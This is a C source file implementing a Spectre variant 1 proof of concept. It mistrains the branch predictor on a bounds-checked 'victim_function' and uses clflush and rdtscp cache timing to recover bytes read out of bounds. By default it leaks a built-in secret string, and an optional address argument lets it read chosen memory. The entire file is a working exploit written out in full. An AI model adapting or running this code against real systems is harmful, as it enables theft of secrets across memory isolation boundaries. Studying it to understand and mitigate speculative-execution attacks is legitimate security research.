#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];

char *secret = "The Magic Words are Squeamish Ossifrage.";

unsigned int edx = 0;

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (150) /* assume cache hit if time <= threshold */

int check_rdtscp() {
  __asm__ __volatile__ (
  "movl $0x80000001, %%eax\n"
  "cpuid\n"
  : "=d"(edx)
  :: "%eax", "%ebx", "%ecx"
  );
  return (edx&(1<<27));
}

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i;
  unsigned int junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t * addr;
  volatile int z = 0;

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 999; tries > 0; tries--) {

    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
      _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
      _mm_clflush(&array1_size);
      for (z = 0; z < 100; z++) {} /* Delay (can also mfence) */

      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
      /* Avoid jumps in case those tip off the branch predictor */
      x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
      x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));

      /* Call the victim! */
      victim_function(x);

    }

   /* Time reads. Order is lightly mixed up to prevent stride prediction */
   for (i = 0; i < 256; i++) {
     mix_i = ((i * 167) + 13) & 255;
     addr = & array2[mix_i * 512];
     if (check_rdtscp()) {
       time1 = __rdtscp(& junk); /* READ TIMER */
       junk = * addr; /* MEMORY ACCESS TO TIME */
       time2 = __rdtscp(& junk); /* READ TIMER */
       time2 -= time1; /* COMPUTE ELAPSED TIME */
     } else {
       time1 = __rdtsc(); /* READ TIMER */
       junk = * addr; /* MEMORY ACCESS TO TIME */
       time2 = __rdtsc(); /* READ TIMER */
       time2 -= time1; /* COMPUTE ELAPSED TIME */
     }
     if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
       results[mix_i]++; /* cache hit - add +1 to score for this value */
   }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
      break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  value[0] = (uint8_t)j;
  score[0] = results[j];
  value[1] = (uint8_t)k;
  score[1] = results[k];
}

int main(int argc, const char **argv) {
  size_t malicious_x = (size_t)(secret - (char*)array1); /* default for malicious_x */
  int i, score[2], len = 40;
  uint8_t value[2], normalized[1];
  char *recovered = (char*)calloc(len + 1, sizeof(char*));

  for (i = 0; i < sizeof(array2); i++)
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  if (argc == 3) {
    sscanf(argv[1], "%p", (void**)(&malicious_x));
    malicious_x -= (size_t)array1; /* Convert input value into a pointer */
    sscanf(argv[2], "%d", &len);
  }

  printf("Reading %d bytes:\n", len);
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void*)malicious_x);
    readMemoryByte(malicious_x++, value, score);
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
    normalized[0] = (value[0] > 31 && value[0] < 127) ? value[0] : (uint8_t)'?';
    if (argc <= 2)
      recovered[strlen(recovered)] = normalized[0];
    printf("0x%02X=\'%c\' score=%d ", value[0], normalized[0], score[0]);
    if (score[1] > 0)
      printf("(second best: 0x%02X score=%d)", value[1], score[1]);
    printf("\n");
  }
  printf("\n");
  if (argc <= 2) {
    printf(" Original: %s\n", secret);
    printf("Recovered: %s\n", recovered);
  }
  return (0);
}